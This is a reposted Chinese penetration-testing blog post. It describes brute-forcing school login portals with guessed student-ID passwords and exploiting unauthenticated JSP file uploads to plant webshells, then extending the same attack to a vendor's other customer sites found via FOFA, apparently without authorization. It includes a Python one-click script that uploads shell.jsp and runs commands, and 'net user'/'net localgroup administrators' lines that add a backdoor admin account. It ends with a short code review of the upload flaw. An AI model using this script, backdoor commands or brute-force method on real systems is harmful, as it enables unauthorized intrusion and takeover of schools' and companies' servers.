本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
免责声明:本公众号发布的资源和文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表渗透云笔记的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!
文章来源于;https://xz.aliyun.com/t/9332
前言:此次挖洞较为基础,分析得不足的地方望大佬指正。
内网挖洞:
建议像我这样入门不久的可以拿自己学校内网练练手先(得授权),再在在教育行业 SRC 等漏洞平台上挖掘漏洞,赢得认可,获取些动力。<大佬的当我没说 0.0>
向信息中心的老师申请了对学校进行内网渗透测试的授权之后,便开始信息收集(亮神说的:渗透的本质是信息收集)。
因为在工作室辅助运维也知道服务器多在 10.x.x.0/24 这网段,这里我用 Goby 对该网段收集存活 ip 和端口。(因为真实 ip 可以绕过 waf 所以可以放开扫,当然其它大学就不一定了)
内网一堆漏洞 emm,然后就可以用大佬的 webalivescan 批量扫一下 Goby 得的存活 ip,获取标题,web 指纹识别和简单的爆破一些目录
工具地址:https://github.com/broken5/WebAliveScan
然后先挑带登录标题的,目录扫描到登录的或敏感目录的软柿子开干,发现 xx 教学平台
没有验证码爆破,当然有的有验证码也可能虚的,根据自己学号推测 ,
例如 2018xx 一般是根据 入校年数 + 专业 + 班级 + xx 来设定的,爆破后 4 位得到弱口令:
2018xx 123456
然后常规的:xxx--> 控制面版 --> 上传头像 -->Getshell。
当然很多 jsp 马都没兼容,试了挺多这大佬的 jsp 马才成功
地址:https://github.com/threedr3am/JSP-Webshells
直接 administrator 权限,提权都省了
外网批量:
上面图有:技术支持:xx 公司
FOFA 搜索关键词:xxx 有限公司
然后挑一个站,爆破,xx 学校,学号通过谷歌语法来搜集。
如果收集不到, 大多学校学号是如下规律:
2001 0077 入学的时间 + 报到位次
2018 031 01 05 入校年数 + 专业 + 班级 + xx
2018 1 17 001 入学年 + 1 本科学生 + 17xx 招生专业代号,001 这专业第一个学生。
爆破失败,才恍然大悟,可能未授权文件上传呢。
于是在 burp 将 HOST 地址改成目标的地址,发送数据包
一发入魂,成功上传图片, 改 jsp 也没问题,欧克妥妥的未授权文件上传!
该网站 Getshell 后尝试 3389 登录:
net user mstlab mstlab /add : 添加用户并设置密码
net localgroup administrators mstlab /add : 将用户加入管理组
登录后在其桌面翻到敏感信息:测试账号和默认密码
同时这只是该公司的一个系统,又扩展到其它系统:(也大多成功上传)
但有些系统还是不行,于是用测试账号登录发现这些系统的第二处未授权文件上传,很老的 FCKedito,可运行哥斯拉马
至此该公司的系统基本通杀
Exploit 编写:
当然少量写个 html 文件上传就 ok 了,这里较多站就写个一键返回 shell 脚本。下面的已脱敏
import requests
# 读取webshell文件,
file = open('shell.txt', 'r',encoding='utf-8')
shell = file.read()
#shell=""" <% out.println("just4test!"); %> """
headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"}
cookies={"JSESSIONID":"4F0ADEADB70AD18922C8C436837A5A3D", }
# 输入目标
url = input("input the TARGET(example:[url]https://127.0.0.1:1080[/url])>")
# 定义上传目录
upload_url = url+"/xxx?action=xx"
#file参数files = {'file1': ('1.png', open('logo.png', 'rb'), 'image/png')}
files = {'file': ("shell.jsp", shell, "image/png")}
# 参见post内容
upload_data = {"start": "forum_update_set", "forum_update_set": "updatacord", "forum_nick": "11", "forum_signature": " ", "forum_pic_2": " ", }
# 上传
upload_res = requests.post(upload_url, headers=headers,cookies=cookies, data=upload_data, files=files)
# 此时会返回上传文件的路径
path = upload_res.text
# 解析返回值获取上传地址
path = path[path.find('data')+4:path.rfind('jsp') ]
# 再结合路径
shell_url = url+"/dta"+path+"jsp?cmd=whoami"
# 返回结果,默认是system权限
print('shell is here:'+shell_url)
白盒审计:
最近刚好入门了 java web 开发,虽然 Getshell 了,但也得了解漏洞原理吧。于是就打包源码,代码审计一下,看一下漏洞原理
源码一般在 Tomcat 的 webapps 目录或者
Tomcat 下的 conf 目录 \ Catalina\localhost\ 下的配置文件
有自定义源码工程路径:如 abc.xml 内容:
<!--
Context 表示一个工程上下文 ,path 表示工程的访问路径:/abc ,
docBase 表示你的工程目录在哪里
-->
<Context path="/abc" docBase="E:\book" ></Context>
访问这个工程的路径如下: http://ip:port/abc/ 就表示访问 E:\book 目录
然后我在 Tomcat 的 webapps 找到源码并用哥斯拉的打包
第一个文件上传:
首先查看 web.xml, 看看全局的配置以及路由,先看 filter 过滤, 可以看到 filter 类 QDKFilte 的位置
但我们的源码没有对应的 java 文件或者类,便看 java 依赖有对应的 java 包 xxx.jar
反编译用 IDEA 的插件 “Java Bytecode Decompiler”,插件安装使用可自行百度
反编译成功后得到对应 xx.jar, 注意要解压生成的 jar 包,即可得到 java 源码
然后 filter 类 QDKFilte 代码经过混淆, 太烦杂, 太多了并没找到 session 如何验证。。。。大佬请勿喷 0.0 我是菜鸡!!!
var13 从全局函数获取传递的参数和值
然后 getFileExtendName(var13)直接获取后缀名并直接拼接起来,然后创建文件
跟进 getFileExtendName()是直接获取后缀的
第二个文件上传漏洞的上传路径是
http:/ip:8080/xxx/FCKeditor/editor/xxx/jsp/upload.jsp
找到对应的文件:
和上面的类似用 getFileExtendName()直接获取后缀的然后拼接没白黑名单
原文请跳转
全世界只有不到 3 % 的人关注了渗透云笔记
你真是个特别的人